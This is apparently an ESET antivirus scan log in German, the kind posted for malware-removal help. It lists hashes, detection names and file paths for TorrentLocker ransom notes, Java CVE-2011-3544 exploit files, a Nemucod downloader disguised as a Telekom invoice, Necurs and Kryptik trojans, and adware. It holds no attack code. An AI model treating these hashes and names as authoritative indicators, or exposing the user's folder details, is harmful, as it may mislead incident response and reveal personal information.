sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_locales\zh_TW\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap\1.1_0\_metadata\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\hbcennhacfaagdopikcegfcobcadeocj\1.1_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\icdlfehblmklkikfigmjhbmmpmkmpooj\1.3_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\icdlfehblmklkikfigmjhbmmpmkmpooj\1.3_0\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\icdlfehblmklkikfigmjhbmmpmkmpooj\1.6_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\icdlfehblmklkikfigmjhbmmpmkmpooj\1.6_0\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\lccekmodgklaepjeofjdjpbminllajkg\0.3.0.5_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\lccekmodgklaepjeofjdjpbminllajkg\0.3.0.5_0\_metadata\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\lccekmodgklaepjeofjdjpbminllajkg\0.3.0.5_0\_platform_specific\x86-32_de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\mhkaekfpcppmmioggniknbnbdbcigpkk\2.4_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\mhkaekfpcppmmioggniknbnbdbcigpkk\2.4_0\scripts\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\mhkaekfpcppmmioggniknbnbdbcigpkk\2.6_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\mhkaekfpcppmmioggniknbnbdbcigpkk\2.6_0\scripts\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.1.0_0\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.1.0_0\_locales\bg\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.1.0_0\_locales\ca\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.1.0_0\_locales\cs\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.1.0_0\_locales\da\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.1.0_0\_locales\de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=3901A6BC925E3171809571700EB7868602273578 ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\10\7782f20a-7d111a46"

sh=9843F6BE5F7F1DE430678EC87EE64F433ECF06D6 ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\11\388e834b-19c9d90b"

sh=0E4050CFE336EBC2147ACF153DCF7E44098237A6 ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\16\5a0d33d0-2a11e4ec"

sh=3901A6BC925E3171809571700EB7868602273578 ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\25\fbab7d9-202594ca"

sh=66912DC705E0EB35C7840CA285884354DE020EDB ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\26\750971da-3cc33c5a"

sh=82961301732E8AF889BDB1B7E50197C8B433BC5B ft=0 fh=0000000000000000 vn="Java/TrojanDownloader.OpenStream.NCM Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\30\5bfb09de-5713c064"

sh=92DBBE5CBE9B981A7798DEA2630238E7887F9955 ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\36\53379ea4-5add7f7e"

sh=D828B864598D05926063277FA98DB1CBC72E14FD ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\46\16ff25ae-7ba8c0d0"

sh=B8251CBD9F2A0415F7FA37D46498D522D8C3E5F8 ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\53\318dc435-4e1b9482"

sh=399F1C623F92AB560A60AD084D84099B6B68DD46 ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\53\7c09fb75-64d3933d"

sh=AD9BF31D3B0E386090427798EE2BC35E2B144CA7 ft=0 fh=0000000000000000 vn="Java/Exploit.CVE-2011-3544.BP Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Anwendungsdaten\Sun\Java\Deployment\cache\6.0\59\1e35343b-6f8cf3f9"

sh=D4F4F30440942D411BED9124117C8E6E7F8254DA ft=0 fh=0000000000000000 vn="JS/TrojanDownloader.Nemucod.ARD Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Eigene Dateien\bÃ¼ro\TELEKOM\2016\A1.NET_rechnung.js"

sh=17AA51314102B6FE998FABCE70D1CF3C99D486A0 ft=0 fh=0000000000000000 vn="JS/TrojanDownloader.Nemucod.ARD Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Julie\Eigene Dateien\bÃ¼ro\TELEKOM\2016\A1.NET_rechnung.zip"

sh=9CD7B5371B0E507F693CE458D4362CB17157841F ft=1 fh=208c1d4f154dc40b vn="Mehrere Bedrohungen" ac=I fn="C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\asim.exe"

sh=17128E2952297C372FFFE9C50FD6442C1DB836BF ft=1 fh=c2f3e864c05977c7 vn="Win32/Toggle evtl. unerwÃ¼nschte Anwendung" ac=I fn="C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\installer_adobe_photoshop.exe"

sh=B62D9C499F078AC96E330CFD54E82E16BECCFDE7 ft=1 fh=bbac5776d6e44a34 vn="Variante von Win32/DownloadSponsor.C evtl. unerwÃ¼nschte Anwendung" ac=I fn="C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\MySQL - CHIP-Installer.exe"

sh=DEEBB741B8995D6BE1D485C1EC7AE2DE7EF20957 ft=1 fh=412ff3093f8c82cd vn="Variante von Win32/Toolbar.Widgi.N evtl. unerwÃ¼nschte Anwendung" ac=I fn="C:\Dokumente und Einstellungen\Julie\Eigene Dateien\Downloads\PC safety\IObit-Malware-Fighter-Setup.exe"

sh=C1D95C3A0FC09141A0E43CC8B64AEB2C2CCB6879 ft=1 fh=af82e5143406d5ea vn="Variante von Win32/DownloadSponsor.C evtl. unerwÃ¼nschte Anwendung" ac=I fn="C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\CloneDVD - CHIP-Installer.exe"

sh=683BE445AA54DF5D13AEEBFE3672AB06718B91C5 ft=1 fh=41d1e962e7aa9ff8 vn="Win32/SoftonicDownloader.E evtl. unerwÃ¼nschte Anwendung" ac=I fn="C:\Dokumente und Einstellungen\Julie\Eigene Dateien\SW Download\SoftonicDownloader_fuer_windows-xp-service-pack.exe"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\FRST\wie_zum_Wiederherstellen_von_Dateien.html"

sh=0F8E1EF78002927810F666C780BC610BC0A25F95 ft=1 fh=e9230c678f312b2f vn="Variante von Win32/Kryptik.EWBB Trojaner" ac=I fn="C:\FRST\Quarantine\C\Dokumente und Einstellungen\All Users\msdgqhc.exe.xBAD"

sh=3C2A38E8C3B7D0E985A8BB1FA9335D616756A48D ft=1 fh=0c560327c2188e1e vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\FRST\Quarantine\C\Dokumente und Einstellungen\Julie\Lokale Einstellungen\Temprad1E7B0.tmp.xBAD"

sh=3C2A38E8C3B7D0E985A8BB1FA9335D616756A48D ft=1 fh=0c560327c2188e1e vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\FRST\Quarantine\C\WINDOWS\bdeqpjir.exe.xBAD"

sh=D5985A009261095E57B40E8B2B292DA04E2A8F9D ft=1 fh=a978905d35942f6b vn="Variante von Win32/Rootkit.Kryptik.AAY Trojaner" ac=I fn="C:\FRST\TDSSKiller_Quarantine\16.08.2016_15.09.28\necurs0000\svc0000\tsk0000.dta"

sh=AF8BD6CB2318EB8B8C23E9771CBA09BF13EF4063 ft=1 fh=49542187f0097da6 vn="Win32/TrojanDownloader.Necurs.B Trojaner" ac=I fn="C:\Qoobox\Quarantine\C\WINDOWS\Installer\{31AF7FE6-14C2-F33B-29AC-A36D095CDFA1}\syshost.exe.vir"

sh=C1C66AA7FFD537DF1720DD63E3BE4E009B0793F2 ft=1 fh=c25b5c4dff3942af vn="Variante von Win32/DownloadSponsor.C evtl. unerwÃ¼nschte Anwendung" ac=I fn="C:\System Volume Information\_restore{4A9F0490-15A9-41CC-A499-792F1E85B83D}\RP687\A0186103.exe"

sh=400E71F6148A47E6219C4BDAEE8DAF4FF1F905E0 ft=1 fh=6be00523d2a60ec4 vn="Variante von Win32/Toolbar.Visicom.B evtl. unerwÃ¼nschte Anwendung" ac=I fn="C:\System Volume Information\_restore{4A9F0490-15A9-41CC-A499-792F1E85B83D}\RP691\A0187470.dll"

sh=C4CEBFBB8417BC426A5337915F877F76DD99AC91 ft=1 fh=7d697153d0796c42 vn="Variante von Win32/Toolbar.Visicom.A evtl. unerwÃ¼nschte Anwendung" ac=I fn="C:\System Volume Information\_restore{4A9F0490-15A9-41CC-A499-792F1E85B83D}\RP691\A0187471.dll"

sh=AF8BD6CB2318EB8B8C23E9771CBA09BF13EF4063 ft=1 fh=49542187f0097da6 vn="Win32/TrojanDownloader.Necurs.B Trojaner" ac=I fn="C:\System Volume Information\_restore{4A9F0490-15A9-41CC-A499-792F1E85B83D}\RP693\A0191071.exe"

sh=0F8E1EF78002927810F666C780BC610BC0A25F95 ft=1 fh=e9230c678f312b2f vn="Variante von Win32/Kryptik.EWBB Trojaner" ac=I fn="C:\System Volume Information\_restore{4A9F0490-15A9-41CC-A499-792F1E85B83D}\RP694\A0191540.exe"

sh=3C2A38E8C3B7D0E985A8BB1FA9335D616756A48D ft=1 fh=0c560327c2188e1e vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\System Volume Information\_restore{4A9F0490-15A9-41CC-A499-792F1E85B83D}\RP694\A0191542.exe"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\8x45\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\ACID sounds\Acid Jazz\Beats\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\ACID sounds\Acid Jazz\Complete Beats\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\ACID sounds\COOK\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\ACID sounds\GTM\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\ACID sounds\KARMA\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\ACID sounds\latinpercussion\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\ACID sounds\REMIX\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\ACID sounds\Vince Clark\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\AutoJazzMix\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Baerum kulturskole\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Cubase LE AI Elements Projects\JL\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Cubase LE AI Elements Projects\JL\Images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Cubase LE AI Elements Projects\Let it snow Toneart\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Cubase LE AI Elements Projects\Let it snow Toneart\Images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Dagmar\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\DetNorskeTeatret\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Drammen kulturskole\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Itec\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Jobtransfair\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Jobtransfair\bewerbungen musik\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Jobtransfair\Fotos\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\Jobtransfair\JAV07\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\LA Production\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\01 Outline\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\01 Outline\About Crest Factor\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\01 Outline\About THD\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\01 Outline\About THD\Images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\02 Waveforms in Osciloscope & FFT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\02 Waveforms in Osciloscope & FFT\Audio Files\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\02 Waveforms in Osciloscope & FFT\Graphics\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\01 OLD RTA and FFT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\02 Window Functions\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\03 Averages\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\04 Single FFT vs Multiple FFT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\05 SIM\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\05 SIM\01 Amplitude Threshold\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\05 SIM\02 Average\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\05 SIM\03 Coherence\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\03 FFT Analyzers\05 SIM\04 SN & Coh\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\04 Phase\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\04 Phase\Phase Log vs Linear Scale\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\01 Filters\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="E:\bckup USB JOBS\MEYER SOUND Seminar\05 Filters\01 Filters\01 With Labes\wie_zum_Wiederherstellen_von_Dateien.html"

